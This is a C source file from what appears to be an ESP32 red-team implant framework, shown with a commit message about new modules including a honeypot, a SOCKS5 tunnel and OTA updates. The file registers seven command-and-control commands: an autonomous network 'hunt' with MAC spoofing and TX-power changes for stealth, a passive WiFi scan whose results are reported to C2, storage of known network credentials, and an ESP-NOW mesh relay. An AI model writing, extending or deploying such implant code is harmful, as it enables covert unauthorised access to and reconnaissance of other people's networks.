Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config.
320 lines
9.1 KiB
C
320 lines
9.1 KiB
C
/*
|
|
* cmd_redteam.c
|
|
* Red Team resilient connectivity — 7 C2 commands.
|
|
*/
|
|
#include "sdkconfig.h"
|
|
#include "cmd_redteam.h"
|
|
|
|
#ifdef CONFIG_MODULE_REDTEAM
|
|
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
#include "esp_log.h"
|
|
#include "utils.h"
|
|
|
|
#include "rt_config.h"
|
|
#include "rt_hunt.h"
|
|
#include "rt_stealth.h"
|
|
#include "rt_mesh.h"
|
|
|
|
#define TAG "RT"
|
|
|
|
/* ============================================================
|
|
* COMMAND: rt_hunt [auto]
|
|
* Start the hunt. "auto" = enable auto-trigger on TCP failure.
|
|
* ============================================================ */
|
|
static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx)
|
|
{
|
|
(void)ctx;
|
|
|
|
if (rt_hunt_is_active()) {
|
|
msg_info(TAG, "Hunt already running", req);
|
|
return 0;
|
|
}
|
|
|
|
rt_hunt_trigger();
|
|
msg_info(TAG, "Hunt started", req);
|
|
return 0;
|
|
}
|
|
|
|
/* ============================================================
|
|
* COMMAND: rt_stop
|
|
* Stop hunt, restore WiFi + MAC + TX power.
|
|
* ============================================================ */
|
|
static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx)
|
|
{
|
|
(void)argc; (void)argv; (void)ctx;
|
|
|
|
if (!rt_hunt_is_active()) {
|
|
msg_info(TAG, "Hunt not running", req);
|
|
return 0;
|
|
}
|
|
|
|
rt_hunt_stop();
|
|
msg_info(TAG, "Hunt stopped, WiFi restored", req);
|
|
return 0;
|
|
}
|
|
|
|
/* ============================================================
|
|
* COMMAND: rt_status
|
|
* Report state, SSID, method, MAC, TX power.
|
|
* ============================================================ */
|
|
static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx)
|
|
{
|
|
(void)argc; (void)argv; (void)ctx;
|
|
|
|
rt_state_t state = rt_hunt_get_state();
|
|
uint8_t mac[6];
|
|
rt_stealth_get_current_mac(mac);
|
|
|
|
char buf[256];
|
|
snprintf(buf, sizeof(buf),
|
|
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
|
|
" nets=%d c2_fb=%d mesh=%s",
|
|
rt_hunt_state_name(state),
|
|
rt_hunt_connected_ssid(),
|
|
rt_hunt_connected_method(),
|
|
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
|
|
rt_config_net_count(),
|
|
rt_config_c2_count(),
|
|
rt_mesh_is_running() ? "on" : "off");
|
|
|
|
msg_info(TAG, buf, req);
|
|
return 0;
|
|
}
|
|
|
|
/* ============================================================
|
|
* COMMAND: rt_scan
|
|
* WiFi scan + report results to C2 (recon).
|
|
* ============================================================ */
|
|
static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx)
|
|
{
|
|
(void)argc; (void)argv; (void)ctx;
|
|
|
|
msg_info(TAG, "Passive scan starting...", req);
|
|
|
|
#ifdef CONFIG_RT_STEALTH
|
|
int found = rt_stealth_passive_scan(3000);
|
|
|
|
rt_scan_ap_t aps[RT_MAX_SCAN_APS];
|
|
int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS);
|
|
|
|
for (int i = 0; i < count; i++) {
|
|
char line[128];
|
|
snprintf(line, sizeof(line),
|
|
"AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X",
|
|
aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode,
|
|
aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2],
|
|
aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]);
|
|
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
|
}
|
|
|
|
char summary[64];
|
|
snprintf(summary, sizeof(summary), "Scan done: %d APs found", found);
|
|
msg_info(TAG, summary, req);
|
|
#else
|
|
msg_info(TAG, "Stealth not enabled, using active scan", req);
|
|
/* TODO: fallback to esp_wifi_scan_start() */
|
|
#endif
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* ============================================================
|
|
* COMMAND: rt_net_add <ssid> <pass>
|
|
* Add/update a known network. Pass "" to remove.
|
|
* ============================================================ */
|
|
static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx)
|
|
{
|
|
(void)ctx;
|
|
|
|
if (argc < 1) {
|
|
msg_error(TAG, "usage: rt_net_add <ssid> [pass]", req);
|
|
return -1;
|
|
}
|
|
|
|
const char *ssid = argv[0];
|
|
const char *pass = (argc >= 2) ? argv[1] : "";
|
|
|
|
/* Empty string for pass means "remove" */
|
|
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
|
|
if (rt_config_net_remove(ssid)) {
|
|
char buf[96];
|
|
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
|
|
msg_info(TAG, buf, req);
|
|
} else {
|
|
msg_error(TAG, "Network not found", req);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
if (rt_config_net_add(ssid, pass)) {
|
|
char buf[96];
|
|
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
|
|
msg_info(TAG, buf, req);
|
|
} else {
|
|
msg_error(TAG, "Failed to add network (full?)", req);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
/* ============================================================
|
|
* COMMAND: rt_net_list
|
|
* List known networks.
|
|
* ============================================================ */
|
|
static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx)
|
|
{
|
|
(void)argc; (void)argv; (void)ctx;
|
|
|
|
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
|
|
int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
|
|
|
|
if (count == 0) {
|
|
msg_info(TAG, "No known networks", req);
|
|
return 0;
|
|
}
|
|
|
|
for (int i = 0; i < count; i++) {
|
|
char line[128];
|
|
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
|
|
i, nets[i].ssid,
|
|
nets[i].pass[0] ? "***" : "(open)");
|
|
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* ============================================================
|
|
* COMMAND: rt_mesh <start|stop>
|
|
* Enable/disable ESP-NOW mesh relay.
|
|
* ============================================================ */
|
|
static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
|
|
{
|
|
(void)ctx;
|
|
|
|
if (argc < 1) {
|
|
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
|
|
return -1;
|
|
}
|
|
|
|
#ifdef CONFIG_RT_MESH
|
|
if (strcmp(argv[0], "start") == 0) {
|
|
if (rt_mesh_is_running()) {
|
|
msg_info(TAG, "Mesh already running", req);
|
|
} else if (rt_mesh_start()) {
|
|
msg_info(TAG, "Mesh relay started", req);
|
|
} else {
|
|
msg_error(TAG, "Mesh start failed", req);
|
|
}
|
|
} else if (strcmp(argv[0], "stop") == 0) {
|
|
rt_mesh_stop();
|
|
msg_info(TAG, "Mesh relay stopped", req);
|
|
} else {
|
|
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
|
|
}
|
|
#else
|
|
msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req);
|
|
#endif
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Command table
|
|
* ============================================================ */
|
|
static const command_t rt_cmds[] = {
|
|
{
|
|
.name = "rt_hunt",
|
|
.sub = NULL,
|
|
.help = "Start autonomous network hunt",
|
|
.min_args = 0,
|
|
.max_args = 1,
|
|
.handler = (command_handler_t)cmd_rt_hunt,
|
|
.ctx = NULL,
|
|
.async = true,
|
|
},
|
|
{
|
|
.name = "rt_stop",
|
|
.sub = NULL,
|
|
.help = "Stop hunt, restore WiFi/MAC/TX",
|
|
.min_args = 0,
|
|
.max_args = 0,
|
|
.handler = (command_handler_t)cmd_rt_stop,
|
|
.ctx = NULL,
|
|
.async = false,
|
|
},
|
|
{
|
|
.name = "rt_status",
|
|
.sub = NULL,
|
|
.help = "Hunt state, MAC, method, config",
|
|
.min_args = 0,
|
|
.max_args = 0,
|
|
.handler = (command_handler_t)cmd_rt_status,
|
|
.ctx = NULL,
|
|
.async = false,
|
|
},
|
|
{
|
|
.name = "rt_scan",
|
|
.sub = NULL,
|
|
.help = "Passive WiFi scan + report to C2",
|
|
.min_args = 0,
|
|
.max_args = 0,
|
|
.handler = (command_handler_t)cmd_rt_scan,
|
|
.ctx = NULL,
|
|
.async = true,
|
|
},
|
|
{
|
|
.name = "rt_net_add",
|
|
.sub = NULL,
|
|
.help = "Add known network: rt_net_add <ssid> [pass]",
|
|
.min_args = 1,
|
|
.max_args = 2,
|
|
.handler = (command_handler_t)cmd_rt_net_add,
|
|
.ctx = NULL,
|
|
.async = false,
|
|
},
|
|
{
|
|
.name = "rt_net_list",
|
|
.sub = NULL,
|
|
.help = "List known networks",
|
|
.min_args = 0,
|
|
.max_args = 0,
|
|
.handler = (command_handler_t)cmd_rt_net_list,
|
|
.ctx = NULL,
|
|
.async = false,
|
|
},
|
|
{
|
|
.name = "rt_mesh",
|
|
.sub = NULL,
|
|
.help = "ESP-NOW mesh relay: rt_mesh <start|stop>",
|
|
.min_args = 1,
|
|
.max_args = 1,
|
|
.handler = (command_handler_t)cmd_rt_mesh,
|
|
.ctx = NULL,
|
|
.async = false,
|
|
},
|
|
};
|
|
|
|
/* ============================================================
|
|
* Registration
|
|
* ============================================================ */
|
|
void mod_redteam_register_commands(void)
|
|
{
|
|
ESPILON_LOGI_PURPLE(TAG, "Registering red team commands");
|
|
|
|
rt_config_init();
|
|
rt_config_save_orig_mac();
|
|
|
|
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
|
|
command_register(&rt_cmds[i]);
|
|
}
|
|
}
|
|
|
|
#else /* !CONFIG_MODULE_REDTEAM */
|
|
|
|
void mod_redteam_register_commands(void) { /* empty */ }
|
|
|
|
#endif /* CONFIG_MODULE_REDTEAM */
|